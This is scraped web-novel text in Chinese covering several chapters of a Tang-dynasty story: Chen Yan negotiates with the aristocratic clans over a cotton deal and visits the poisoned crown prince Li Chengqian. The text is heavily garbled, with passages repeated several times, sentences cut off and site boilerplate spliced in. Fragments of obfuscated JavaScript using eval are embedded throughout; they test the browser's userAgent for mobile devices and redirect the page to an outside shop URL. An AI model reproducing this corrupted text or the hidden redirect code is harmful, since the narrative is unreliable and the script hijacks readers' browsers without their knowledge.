0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764478|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衍顿感不妙赶忙伸手捂着小家伙的嘴。 小家伙眨巴着大眼睛没有继续说下去可能也知道自己说错了话。 程处默和尉迟宝琳仿佛跟没听到刚刚的话一样自顾自地吃喝也不逼着陈衍喝酒了。 然而还没等陈衍松口气程处默好像发现了什么皱了皱眉嘴唇微动用只有旁边几人能听见的声音道: “老陈崔家的人来了。” 崔家 陈衍转头一看一位看上去二十五六岁脸上挂着淡淡的笑容周身气质颇为温和的年轻人朝他们这边走过来。 “渭国公程公子、尉迟公子崔宣有礼了。” 崔宣很有礼貌地抱拳拱手。 “原来是崔公子请坐!” 陈衍没有起身只是做了一个请的手势。 人以礼待我 哪怕今后是敌人但只是立场不同罢了对于有礼貌的人他从不介意多聊几句。 只是他再怎么样也是一位国公身份摆在那里客气一句已经是给面子了。 如果崔宣是聪明人的话就不会觉得有什么。 果不其然崔宣神情淡然对他的态度不以为意很坦然地坐了下来。 他目光首先望向了小兕子有些不解“不知这位是” 陈衍摇摇头不愿多说“崔公子还是直说你今天的来意吧毕竟大家的时间都很宝贵我们可以实在些你觉得呢?” “理应如此。”崔宣微微颔首。 来之前他们已经从多方面打听过陈衍性格知道他是个不爱说废话的人。 对于现在的局面他已经做好了准备。 “我们还有事先离开了。”程处默干咳一声拉了拉准备看戏的尉迟宝琳后者愣了一下反应过来后跟着程处默起身离开了。 他们这个位置本就是秦怀道提前安排好的称不上多私密但距离其他宾客也离得比较远。 谈话的话若不是故意大声喊没什么人能听见。 崔宣并不在意兕子一个小孩先是提起了一件事“渭国公我前几日听家里的长辈说您将从韦家那里得来的田地都种上了一种名为棉花的物品” “.” 第452章 世家,好人啊 棉花 听崔宣提起棉花陈衍凝视了他两息“崔公子的消息够灵通的啊竟然知道棉花。” “不敢不知道啊。”崔宣语气颇为感慨“去年您在渭南县拿出的那批棉衣着实让不少人惊讶。” “它的保暖效果太过出众我三叔曾言倘若棉衣里的棉花足够多那么无论在贫民百姓当中还是在长安勋贵里都能占据极其重要的地位。” 陈衍轻轻颔首。 崔宣说的是事实他同样承认这一点。 因为棉衣一出现就广受当初购买的百姓好评去年冬天长孙皇后都拿他送的棉衣换着穿 现在可不比后世没有全球变暖冬天是真的会冷**的。 “你说这个是什么意思?” “先跟渭国公聊聊看看有没有机会合作。”崔宣诚恳道:“渭国公已然从韦家身上撕下一块肉占据了八万亩田地加上自己原本拥有的恐怕早已超出十万亩。” “只是请恕在下直言若想让整个大唐的百姓都穿上棉衣这点田地是远远不够的更别谈在下还听说您有一种棉被没有拿出来售卖。” “而我们崔家自认为有几亩田地今日前来便是想了解一下是否有跟渭国公合作的机会。” “合作?” 陈衍一手抱着怀里乖乖的兕子一手转着桌上的酒杯似笑非笑地看着他。 “崔家.真的只是想跟我合作种棉花吗?” “嗯”崔宣沉吟道:“我认为一切良好的关系都需要一个好的开头合作的伙伴也一样。” “如果我们跟渭国公第一次合作足够愉快大家都有利可得有了这一次好的开头日后说不定在其他地方还能有继续合作的机会。” “我大概明白你的意思了。”陈衍先是点头转而问:“你今日前来是代表崔家还是代表五姓七望?” 话落崔宣的脸色终于变了不复之前的自信淡然险些失态。 说什么合作种棉花 那都只是表面现象罢了。 他们真正想要的是陈衍这个人! 从去年开始世家就一直觉得有人在给李世民出谋划策对付他们之前因为一些线索他们不是没有怀疑过陈衍。 可那时陈衍的年龄实在太有迷惑性了他们很难相信一个不及二十岁的少年能有这般能力。 而且他们最初并未损失什么不过是些微不足道的小损失罢了。 世家起初并未特别重视。 直到后来陈衍仅凭一招制作**便瞬间致使韦家陷入**危机引得民愤沸腾这一手真的把世家吓到了立刻便将对陈衍的重视提到了最高! 然而他们当时被韦家身上的利益所吸引又存着不希望另一个世家崛起的心思所以先对韦家动手打压。 没想到陈衍转身就跑进了皇宫随后《大唐民报》横空出世一夜之间便掌控了长安的**而且在李世民不计代价的投入之下迅速向外扩展开来。 更重要的是第一版《大唐民报》直接告诉了天下人科举即将开考天子会亲自担任最后的主考官。 这下连读书人都隐隐有些不受控制了也彻底让世家人慌了神。 他们不明白为什么那所谓的《大唐民报》能发布得这么快三天一版牢牢把控着**但这并不妨碍他们意识到真正的危机来了。 而今天崔宣正是代表了五姓七望等主要世家来做一次试探与拉拢。 成了最好不成也无所谓反正在这样的场合下明天整个长安上层便会知道渭国公陈衍与崔家下一代家主相谈甚欢。 “.” 崔宣沉默片刻拱手道:“渭国公猜测得不错我并不只代表崔家。” 陈衍对此毫不意外却没什么表示转而问了一个问题:“崔公子你们崔家的地位我多少有些了解 “我此前甚至从未听过崔家还有你这么一号人物为何你能代表整个五姓七望呢?” 崔宣淡淡 一笑,“渭国公有所不知,我志不在朝堂,只懂些经营之道,以渭国公的身份,没听过我才是正常的。 “也正是因为我擅长经营,在这方面小有成就,故此才能代表世家跟您谈些合作。 “原来如此。 “您这么理解也没错。崔宣承认道。 随即又问:“那不知,渭国公对合作之事怎么看? “我个人认为,咱们合作是百利而无一害的。据我来之前了解到的,您的产业涉及诸多方面,只是根基较为浅薄,很多事都需要旁人相助,比如绢帛的售卖渠道。 “我们不妨先在棉花上合作一次,倘若您觉得我们值得信赖,咱们大可再谈后续合作。比如您的绢帛,我们有渠道将其运送至西域等地,在那边,丝绸的利润能达到十倍,甚至百倍之多。 “您觉得如何? 陈衍赞叹道:“很好的提议。我当初打算做绢帛买卖时,就曾想过通过丝绸之路把绢帛运出大唐售卖。 “只可惜,心有余而力不足。 “手下的四个富商没什么大本事,提供不了这方面的帮助,能帮我把绢帛售卖到大唐各地,已是极限。 听到这里,崔宣没有高兴,反而皱起了眉头。 生怕陈衍接下来给他来一句“但是。 然而,陈衍并未如他所想那般拒绝,而是沉思片刻,不动声色地双手抱起兕子,随即开口:“这里不是谈话的地方,我会留在长安几日,不如后天下午,咱们在西市醉仙楼的包间里谈谈具体细节? “.啊? 见他真的要答应,还约自己后天找地方详谈,崔宣愣住了,一时没反应过来。 不是,这么容易的吗? “阿兄,我饿啦! 兕子适时大喊,一副快要哭出来的模样。 陈衍露出一抹歉意的笑,“崔公子,抱歉了,我家妹子还小,不懂事。 “没事,没事。 崔宣还觉得不太真实,连忙摆手。 陈衍微笑着点点头。 世家,好人呐! “. 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 一笑“渭国公有所不知我志不在朝堂只懂些经营之道以渭国公的身份没听过我才是正常的。” “也正是因为我擅长经营在这方面小有成就故此才能代表世家跟您谈些合作。” “原来如此。”陈衍恍然“所以在你们世家内部其实算得上各施所长看个人天赋决定要走的路?” “您这么理解也没错。”崔宣承认道。 随即又问:“那不知渭国公对合作之事怎么看?” “我个人认为咱们合作是百利而无一害的。据我来之前了解到的您的产业涉及诸多方面只是根基较为浅薄很多事都需要旁人相助比如绢帛的售卖渠道。” “我们不妨先在棉花上合作一次倘若您觉得我们值得信赖咱们大可再谈后续合作。比如您的绢帛我们有渠道将其运送至西域等地在那边丝绸的利润能达到十倍甚至百倍之多。” “您觉得如何?” 陈衍赞叹道:“很好的提议。我当初打算做绢帛买卖时就曾想过通过丝绸之路把绢帛运出大唐售卖。” “只可惜心有余而力不足。” “手下的四个富商没什么大本事提供不了这方面的帮助能帮我把绢帛售卖到大唐各地已是极限。” 听到这里崔宣没有高兴反而皱起了眉头。 生怕陈衍接下来给他来一句“但是”。 然而陈衍并未如他所想那般拒绝而是沉思片刻不动声色地双手抱起兕子随即开口:“这里不是谈话的地方 “.啊?” 见他真的要答应还约自己后天找地方详谈崔宣愣住了一时没反应过来。 不是这么容易的吗? “阿兄我饿啦!” 兕子适时大喊一副快要哭出来的模样。 陈衍露出一抹歉意的笑“崔公子抱歉了我家妹子还小不懂事。” “没事没事。” 崔宣还觉得不太真实连忙摆手。 陈衍微笑着点点头。 世家好人呐! “.” 你的朋友正在书荒,快去帮帮他吧 一笑“渭国公有所不知我志不在朝堂只懂些经营之道以渭国公的身份没听过我才是正常的。” “也正是因为我擅长经营在这方面小有成就故此才能代表世家跟您谈些合作。” “原来如此。”陈衍恍然“所以在你们世家内部其实算得上各施所长看个人天赋决定要走的路?” “您这么理解也没错。”崔宣承认道。 随即又问:“那不知渭国公对合作之事怎么看?” “我个人认为咱们合作是百利而无一害的。据我来之前了解到的您的产业涉及诸多方面只是根基较为浅薄 “我们不妨先在棉花上合作一次倘若您觉得我们值得信赖咱们大可再谈后续合作。比如您的绢帛我们有渠道将其运送至西域等地在那边丝绸的利润能达到十倍甚至百倍之多。” “您觉得如何?” 陈衍赞叹道:“很好的提议。我当初打算做绢帛买卖时就曾想过通过丝绸之路把绢帛运出大唐售卖。” “只可惜心有余而力不足。” “手下的四个富商没什么大本事提供不了这方面的帮助能帮我把绢帛售卖到大唐各地已是极限。” 听到这里崔宣没有高兴反而皱起了眉头。 生怕陈衍接下来给他来一句“但是”。 然而陈衍并未如他所想那般拒绝而是沉思片刻不动声色地双手抱起兕子随即开口:“这里不是谈话的地方我会留在长安几日不如后天下午咱们在西市醉仙楼的包间里谈谈具体细节?” “.啊?” 见他真的要答应还约自己后天找地方详谈崔宣愣住了一时没反应过来。 不是这么容易的吗? “阿兄我饿啦!” 兕子适时大喊一副快要哭出来的模样。 陈衍露出一抹歉意的笑“崔公子抱歉了我家妹子还小不懂事。” “没事没事。” 崔宣还觉得不太真实连忙摆手。 陈衍微笑着点点头。 世家好人呐! “.” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 一笑“渭国公有所不知我志不在朝堂只懂些经营之道以渭国公的身份没听过我才是正常的。” “也正是因为我擅长经营在这方面小有成就故此才能代表世家跟您谈些合作。” “原来如此。”陈衍恍然“所以在你们世家内部其实算得上各施所长看个人天赋决定要走的路?” “您这么理解也没错。”崔宣承认道。 随即又问:“那不知渭国公对合作之事怎么看?” “我个人认为咱们合作是百利而无一害的。据我来之前了解到的您的产业涉及诸多方面只是根基较为浅薄很多事都需要旁人相助比如绢帛的售卖渠道。” “我们不妨先在棉花上合作一次倘若您觉得我们值得信赖咱们大可再谈后续合作。比如您的绢帛 “您觉得如何?” 陈衍赞叹道:“很好的提议。我当初打算做绢帛买卖时就曾想过通过丝绸之路把绢帛运出大唐售卖。” “只可惜心有余而力不足。” “手下的四个富商没什么大本事提供不了这方面的帮助能帮我把绢帛售卖到大唐各地已是极限。” 听到这里崔宣没有高兴反而皱起了眉头。 生怕陈衍接下来给他来一句“但是”。 然而陈衍并未如他所想那般拒绝而是沉思片刻不动声色地双手抱起兕子随即开口:“这里不是谈话的地方我会留在长安几日不如后天下午咱们在西市醉仙楼的包间里谈谈具体细节?” “.啊?” 见他真的要答应还约自己后天找地方详谈崔宣愣住了一时没反应过来。 不是这么容易的吗? “阿兄我饿啦!” 兕子适时大喊一副快要哭出来的模样。 陈衍露出一抹歉意的笑“崔公子抱歉了我家妹子还小不懂事。” “没事没事。” 崔宣还觉得不太真实连忙摆手。 陈衍微笑着点点头。 世家好人呐! “.” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 一笑“渭国公有所不知我志不在朝堂只懂些经营之道以渭国公的身份没听过我才是正常的。” “也正是因为我擅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听到这里崔宣没有高兴反而皱起了眉头。 生怕陈衍接下来给他来一句“但是”。 然而陈衍并未如他所想那般拒绝而是沉思片刻不动声色地双手抱起兕子随即开口:“这里不是谈话的地方我会留在长安几日不如后天下午咱们在西市醉仙楼的包间里谈谈具体细节?” “.啊?” 见他真的要答应还约自己后天找地方详谈崔宣愣住了一时没反应过来。 不是这么容易的吗? “阿兄我饿啦!” 兕子适时大喊一副快要哭出来的模样。 陈衍露出一抹歉意的笑“崔公子抱歉了我家妹子还小不懂事。” “没事没事。” 崔宣还觉得不太真实连忙摆手。 陈衍微笑着点点头。 世家好人呐! “.” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 第453章 衍子一笑,生死难料! 崔宣惊疑不定地离开了,事情太过顺利,他有些不敢相信。 怀疑陈衍在演自己。 走出一段距离,他回头看了一眼,见陈衍抱着那个小女儿吃饭,沉吟片刻,依然想不通。 “算了,回去把过程明明白白告诉族老,让族老他们头疼去吧。” 崔宣摇摇头,径直离开了翼国公府。 另一边,兕子仰着小脑袋,颇为得意道:“阿兄,我聪明吧?一下子就明白了你的意思。” “对对对,晋阳小公主最聪明啦!”陈衍笑呵呵地捏了捏小家伙的鼻子,“比城阳公主和李欣聪明多啦!” 小家伙歪了歪脑袋,似乎对这个回答并不满意,“那比长乐公主和高阳公主呢?” 陈衍:“.” “呵呵.这个你还是自己问他们去吧,我不知道。” 兕子闻言缩了缩脑袋,“那还是算了吧,我怕她们揍我。” 陈衍白了她一眼。 知道揍你还问? 这时,兕子又道:“阿兄,我感觉那个崔公子要被你骗了。” 嗯? 陈衍眉头一挑,“何以见得?” “因为你笑得很高兴啊。”小家伙掰着手指头细数,“你头一次这样笑的时候,我两个阿姐被你耍得团团转,到处争风吃醋,最后你白得两个娘子。之后你每次这样笑,都有人要倒霉,去年阿娘寿宴时四皇兄险些被你气死,最后只能咽下苦果。” “还有日常生活中,上任期间,不知道多少人被你坑死啦。” “其中又以我两个阿姐为最,她们私底下都说,衍子一笑,生死难料。” “反正我今天又看你笑了,那个崔公子估计是要倒大霉了。” 陈衍一时没绷住,没好气地给了她一个脑瓜崩,“什么衍子一笑,生死难料,我看这话就是你说的!” “你两个阿姐有个屁头脑说出这种话!” 兕子张了张小嘴,讪讪一笑。 “嘿嘿~” “老陈,怎么样啊?”这时,程处默和尉迟宝琳回来了。 一坐下来,便开口问。 陈衍摇摇头,“没什么,意料之中罢了,从某种方面来说,这还是好事。” “别好事了。”程处默有些担忧道:“今天的人实在太多,加上你年纪轻轻就被封了国公,本来就引起了不少人注意,方才你跟那姓崔的闲聊,可是被不少人看了去。” “先不说你们谈了什么,明天消息指不定能被传成什么样呢。” “我爹最近一直在叮嘱我,在长安机灵点,千万别和世家人走得近。那姓崔的一看就不是个简单人物,你别玩砸了。” 尉迟宝琳沉声道:“要不俺们回家喊老头子吧,先跟他们知会一声,免得出了什么情况没人兜底。” 要说长安顶级勋贵二代必学的一个技能是什么,那必然是叫爹! 遇到麻烦没关系,我能叫爹! 在这个世上,很少有事情是这些大少的爹解决不了的。 只不过,陈衍并不想让程咬金、尉迟恭他们插手此事,拒绝了尉迟宝琳的提议。 “你们别太担心,咱们圣上可不是那种听风是风,听雨是雨的人。” “接触了又能怎么样?” “陛下说不定还乐得如此呢。” 程处默和尉迟宝琳犹豫了一下,没继续劝下去。 他们很清楚自己的本事,论头脑,陈衍甩他们八条街不止。 而认识这么久,他们早已养成了相信陈衍的习惯。 既然他说没事,那肯定没事。 紧接着,陈衍跟兕子一脸淡定地吃着饭,丝毫没因为崔宣的到来影响心情。 陈衍不认为世家只会耍这样的小手段,崔宣的到来,估计只是一次最为简单的初步试探。 他们也绝对不会认为,凭借一些传出去的流言就能影响到李世民的判断。 因为大家都十分清楚,李世民是一位相当特别的帝王,其气度和肚量非常人所比。 纵观历朝历代,大多总说圣心难 测,伴君如伴虎,但李世民不会。 他是一个对自己有着无与伦比自信的人。 比如,有臣子喝醉了,李世民满不在乎地拿自己的龙袍给人家盖。 李世民炫耀自己的字,问众人谁想要,大臣们都争先恐后地抢,其中一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“怎么不会?”陈衍反问,“如今,我成婚了,孩子都出生了,老秦同样成婚了,贾伯母明年估计也能抱上孙子,你觉得崔伯母不急?” “**!” 程处默顿时觉得好特么有道理。 尉迟宝琳挠挠头,感觉自己应该跟程处默差不多。 两人沉默一会儿,对视一眼,垂头丧气。 这以后可咋办呐? “.” 第454章 各凭本事 宴会继续,等几人吃饱喝足,然后就被抓了壮丁。 一整天下来,他们都忙着接待宾客,忙里忙外的,连李丽质都在帮忙。 高阳因为要带孩子逃过一劫。 待到晚上更是比白天还要热闹,陈衍感觉这特么比自己成婚那时候还累。 好不容易熬到大婚结束,陈衍一回到家,洗漱完就躺在了床上,一动也不想动。 不多时,李丽质和高阳也来了,一左一右躺在他身边。 李丽质同样很疲惫,想休息了,然而高阳却精神得很,还跟陈衍提议,“上次你不说太子被人下毒了吗?咱们明天要不去看看他?” 听到这话,原本闭上眼睡觉的李丽质点头说:“确实该去看看,要不然说不过去。” “对了,夫君,你还没说我们要在长安留多久呢。” “留多久啊.”陈衍长叹,想起今天崔宣来找自己,思索两息,回道:“再看吧,我估计要几天,今天宴会上,世家的人来找我了。” “说是想跟我合作,我约了他后天在醉仙楼谈,刚刚不还说去看太子吗?那指不定后面还有什么事呢,等一切长安杂事处理完再回去吧。” 闻言,高阳忍不住笑了,“不是,我刚刚没听错吧?世家?找你合作?” “你还约了人家后天详谈?” “是他们得病了,还是你得病了?” 李丽质面露怪异。 别人不清楚,他们难道不清楚吗? 李世民跟世家关系愈发紧张,一切都源于陈衍这个狗头军师。 可以说,目前的局面一大半是陈衍造就的。 现在陈衍竟然要跟世家合作? 谁信呐? 陈衍实在累得很,不想多说,转身抱着李丽质就想睡觉了。 高阳不满地扒拉他一下,“你说话啊,到底什么情况?” “你该不会又想出什么馊主意想坑世家吧?” “小孩子别管那么多,大人的世界很复杂,不是你能理解的。 ”陈衍随口敷衍两句然后就闭着眼睛不说话了。 高阳推了两下有些气急可凑过去看见陈衍眉宇间的疲惫就不忍心吵他了。随即自顾自地凑过去靠着他闭上了眼。 “.” 而**的是在长安另一处私密宅院里七八个中年人已经因为他的态度争论了一整天直到现在依然没停下来。 有人觉得陈衍是在将计就计假意与他们合作心里不知道打的什么主意。 同样有人觉得这是一个拉拢陈衍的好机会。 只要将陈衍拉拢到他们这边等同于斩下李世民一臂。 不过是先合作种点地罢了 清河崔氏今日来的代表人物崔瀚沉声道:“你们别忘了我们最初让崔宣前去接触陈衍的目的是什么。” “大家谁都清楚合作只是次要的我们最主要的目的是拉拢陈衍以及搞清楚他各种神奇之处!” “你们莫非忘了去年突然出现的细盐那不可思议的绢帛制造量以及那些白糖、白蜡、棉花和最近李世民拿出来的水车、曲辕犁!” “一样样一件件我怀疑全部出自陈衍!如果这些东西是由我们拿出来的我都不敢相信我们如今的声望可以到何种地步!” 此话一出所有人都沉默了。 这些东西太神奇也太重要了。 没有任何人可以忽视哪怕是他们这些传承千年的世家! 下一刻大家的目光不约而同放在了端坐在他们上方几位从未开口的老人身上。 其中一位还是陈衍的老熟人——王珪。 荥阳郑氏的郑知礼拱手道:“诸位族老如今情况已是如此我们继续争论下去毫无意义请诸位族老决断吧!” “到底是合作还是.” 他话没说完但大家都明白了他的意思纷纷皱了皱眉。 王珪平静地扫视下方众人最后定格在最下方唯一的年轻人身上。 “崔宣老夫记得你曾说过跟陈衍接触 的时候,他带着一个三四岁大的小孩?” 崔宣不明白王珪为什么问这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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众人闻听此言,沉默了一瞬。 王延之沉吟道:“这个方法对付普通人不错,连房玄龄魏征他们都想让自己的儿子娶我们世家女,但据我所知,陈衍并不像好女色的人。” “曾经他确实在长安城混迹风流,然而却从未听过他跟那里的任何女子有太深入的关系,从未在风月场所留宿过。” “刚跟高阳公主定下婚约的时候,甚至还把高阳公主给打了,娶长乐公主,也是她自己硬贴上去的。” “更何况,自陈衍成婚以来,除去高阳和长乐,未曾听闻陈衍对其他女子感兴趣。” 崔翰摆手道:“试试嘛,又有什么关系?” “万一他感兴趣呢?” 郑知礼点头附和道:“我认为可以一试,左右耽误不了什么事,试试又有何妨?” “陈衍不感兴趣那便算了,我们没什么损失,如果他接受,那拉拢他的把握更大几分。” 说到这里,其余人纷纷认同。 此事决定好,他们又谈起了该如何对陈衍进行拉拢,倘若拉拢不了,又该如何做。 下方,崔宣作为年轻一辈,本是没有什么资格参与这种会议的,只是因为他是被派去接触陈衍的人,故此才能坐在这里。 但他也不敢说话,只能默默听着。 崔宣听着各家代表的话,心里微微叹息。 刚刚听他们说了这么多,但有一件事大家都很默契地没有提。 那就是大唐民报! 大唐民报听起来简单,然而却让世家人忌惮到极点。 也让他们对陈衍的重视程度拉到了最大。 千百年来,世家历经太多朝代,可从未遇见过像陈衍这么棘手的人。 寻常时还好,一旦站在了陈衍的对立面,才会真正体会到那种可怕与无可奈何。 从最初的细盐,到绢帛以及各种制度改革,再到现在的大唐民报,陈衍正在一步步将他们拖入深渊,等他们反应过来时,已经来不及了,只能想尽一切办法去拉拢。 崔宣望 了眼最上方的王珪,再看了看周围商议的各大代表,心里忽然有了些迷茫。 其实他们还有一件事没说,可大家都心照不宣。 王珪可能要下台了。 “.” 翌日,陈衍带着李丽质和高阳,以及自己的宝贝闺女和小兕子,提着准备好的礼物来到东宫。 听宫女汇报陈衍他们到来,太子妃赶忙亲自出来迎接。 “渭国公,丽质、高阳妹妹来啦?里边请,夫君在里面等你们呢。” 相识已久,太子妃没跟他们客气太多,吩咐宫女将礼物带下去,便请他们前往太子寝宫了。 “皇嫂,兄长最近怎么样了?我听说”李丽质说话点到为止,因为她发现太子妃的神情不算好,像是许久没休息好。 太子妃闻言嘴角露出一丝笑容,“得益于渭国公诊治,夫君近几日虽然比较.难受,但已经没什么大碍了,现在只是身体有些虚弱罢了,休养一阵就好了。” 听到此话,李丽质和高阳眼神颇为古怪,但也没说什么。 他们听陈衍说过,最初李承乾的状况很严重,所以陈衍用了泻药。 太子妃说的难受.应该是指后门难受 跟她们两个女子不同,陈衍听后一个没忍住,嘎嘎乐了。 太子妃颇为怨念地看了他一眼。 你救我夫君,我很感谢你。 你给我夫君下泻药,我也能理解。 只是你那到底是什么泻药?为什么药力那么大?你知道我这几天怎么过的吗? 你知道我在某一刻甚至生出了这夫君不能要的心思吗? 似乎是发现了太子妃的眼神,陈衍尴尬地咳嗽一声,左顾右盼,一副跟我没关系的模样。 不多时,几人进入太子寝宫内。 李承乾已经得知了陈衍和妹妹的到来,侧躺在榻上,看陈衍的眼里,怨气简直能溢出来。 “哟,承乾兄,多日不见,混这么拉了?”陈衍抬手打了个招呼。 李承乾绷不住了,额头青筋绷 起,“我混.嘶. 情绪一激动,他顿时感觉后门隐隐生痛,原本需要消音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16787852|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话不得已憋了回去。 “夫君,你.你别这样说兄长了。李丽质好笑地拍了一下他,赶紧上前询问李承乾情况。 李承乾缓了一会儿,一脸生无可恋地躺回去,“我没逝,你们不用担心,只是有点要**而已。 李丽质:“. 太子妃:“. “扑哧~高阳也忍不住了,笑出了声。 李承乾怨气更甚,“高阳,我可是你亲兄长! 高阳将笑意憋了回去,一个劲地点头,“我知道的兄长,只是我实在忍不住,抱歉,哈哈哈哈哈哈哈。 太子妃满脸无奈,沉默了片刻,也乐了。 她不乐还好,她一乐,像是起了连锁反应,李丽质都没憋住。 寝宫内,顿时充满了大家的笑声。 其中又以陈衍和高阳笑得最开心。 李承乾抽了抽鼻子,沉吟半晌,忽然说,“子安兄,我感觉我身体的毒素还未排出去,你那个什么.畅通无阻还是一泻千里,能不能再给我来点? 啥玩意? 他的话一出口,所有人都懵了。 连太子妃都坐不住了,急忙说,“夫君,三思啊,你要三思啊! “一小瓶畅通无阻药效就如此之大了,再来一瓶,我受你身体受不了啊! 李承乾眼神坚定,“没事的,我还年轻,我扛得住! “子安兄,再给我一瓶吧! 他语气无比诚恳,陈衍却总觉得哪里不对,跟李承乾对视片刻 陈衍瞬间想明白了,眯了眯眼。 好你个浓眉大眼的太子,你该不会想以其人之道还治其人之身吧? 对我下泻药? “承乾兄,畅通无阻,已经没有了。 李承乾咬牙暗恨。 见鬼的没有,一瓶泻药罢了,怎么可能没有? 这家伙该不会猜到我想干什么了吧? 想到这里,他望向陈衍的目光多了丝凝重,后者亦是。 “必须得整这小子一次,让他吃点苦头! “必须得防备点这小子,要不然得吃苦头! “. 第456章 我这个太子当的也太难了 “阿姐你看阿兄和兄长眉来眼去的他们俩有事!” 兕子扯了扯李丽质的手语出惊人。 陈衍和李承乾同时嘴角一抽后者黑着脸望着自家从前可爱的妹妹实在难以相信她会变成如今的样子。 “唉~先坐吧。” 太子妃抚额招呼大家先坐。 陈衍倒是没坐走到床榻前仔细检查李承乾的情况。 玩归玩闹归闹不能拿兄弟狗命开玩笑。 稍后陈衍初步判断李承乾确实没什么大事心下一松挑眉道:“承乾兄你这家伙是真捡回来一条命啊。” “之前你中的手段歹毒的很如今熬过去大难不死必有后福啊。” 李承乾听到这里一直悬着的心总算放了下来颇为感慨道:“我这确实算得上捡回来一条命了你们不知道前段时间最严重的时候我真感觉自己扛不住了怕自己一睡再也醒不过来。” 他顿了顿脸色忽然阴沉了下来眼中遍布寒芒:“只是我这受的苦却不能这么算了。等我好了一定查查谁下的手不报此仇我心难安。” 李丽质和高阳默然。 直到现在她们依然不敢相信世界上怎么会有人敢对李承乾下手啊? 多大的胆子? 陈衍倒不这么想从最初有些惊讶之后他很快就接受了。 毕竟后世明朝皇帝除了开国的、打天下的、修道不问朝政的、沉迷酒色的其他基本上都短命要说这里面没什么问题他是不相信的。 不谈后世说贞观之前北魏胡太后毒杀孝明帝就有背后安定胡氏的支持。南朝宫廷毒杀案听起来是皇储内部竞争但同样少不了世家的影子。 人家能在这片土地之上屹立这么久靠的可不是心善 太子妃此时开口道:“父皇已经将提供下毒之物有关之人全部秘密关押了起来现在正在审讯但好像暂时没什么成果。” 李承乾对此并不意外“既然敢对我下毒自然得考虑到事 情败露的因素,去年有人污蔑杜如晦**,不一样没查出什么吗? “此事不急,我既已经无碍,今后有的是时间查! 陈衍轻轻点头,不得不说,李承乾身上越来越有太子该有的样子了。 他还记得贞观三年的时候,这货已经快郁闷了,浑身的心气都快被磨平了。 高阳此时插话道:“细数整个大唐,能有几人敢对你下毒?想想最近朝廷的变化,父皇与世家的冲突就知道了。 “此事哪怕不是世家下的手,也绝对跟世家脱不了关系。 “天下可没有什么不透风的墙,去年污蔑杜如晦的案子也不是查不出来,而是父皇没想继续往下查下去罢了。 嗯? 陈衍凝望着她,“你好像知道点什么? 高阳抱着女儿,仰着下巴,颇为傲娇:“那当然了,你以为我跟你一样长那么大个脑袋不知道用? “我都不用查,只听你说了一下具体情况,我就猜到背后是谁了。 “是谁?连李承乾都好奇了起来。 实在是这事太过蹊跷,**案闹的那么大,连病重未痊愈的杜如晦都被污蔑进狱,最后却突然不了了之,谁都没再提起。 太奇怪了。 高阳扫视一圈,目光在兕子身上停留了一息,最后压低声音道:“郑观音! “郑李承乾下意识想说出这个名字,待反应过来后,立刻停住了,也不继续说话了。 李丽质和太子妃瞳孔收缩,深吸了一口气,没再继续问下去。 只有陈衍,摸着下巴,一脸若有所思。 难怪啊如果是郑观音的话,最后**案不了了之,确实能说得通。 也能理解为什么凭借李世民的能量,居然查不出影响如此之大的幕后之人了。 “郑观音 陈衍喃喃自语,望着躺在榻上的李承乾,心里一动,忽然有了些新的想法。 或许可以利用一下郑观音,来查一查具体是谁对李承乾下的毒,以及在某些 方面,帮忙对付一下世家? 毕竟,从去年郑观音做的事来看,这个女人心里是有怨气了,而且很会把握度,没做出不能容忍之事。 以她的立场,似乎更能贴合现在的世家! “你又在打什么鬼主意?”高阳狐疑道。 陈衍摇摇头,“没什么,就是在想想明天跟世家合作的事。” “合作?” 李承乾像是听到了天大的笑话,“子安兄,你跟世家合作?” “这话说出来,你自己信吗?” “哈哈哈嘶,哎呦!” 陈衍嘴角一抽,“昨日怀道大婚,世家派了个人过来,说想跟我合作种棉花,我估摸着是拿我没办法,而且是预见了‘大唐民报’带给他们的危险,想要拉拢我。” “坦白说,我还挺心动的,毕竟他们世家屹立多年,手中掌握的人脉与渠道很难想象,我从前一直想把绢帛卖出大唐,在外面赚取十倍、百倍的利润带回大唐,只是碍于没有那个渠道,一直未曾实施。” “昨天世家跟我提了这件事,我认为可以利用一下。” 李承乾闻言沉思一会儿,“世家老狐狸不少,并不一定相信你愿意合作,说不定是有着其他目的。” “不管怎么说,你跟陛下绑的很死,其中利益他们或许不清楚,但你娶了长乐和高阳是事实。” 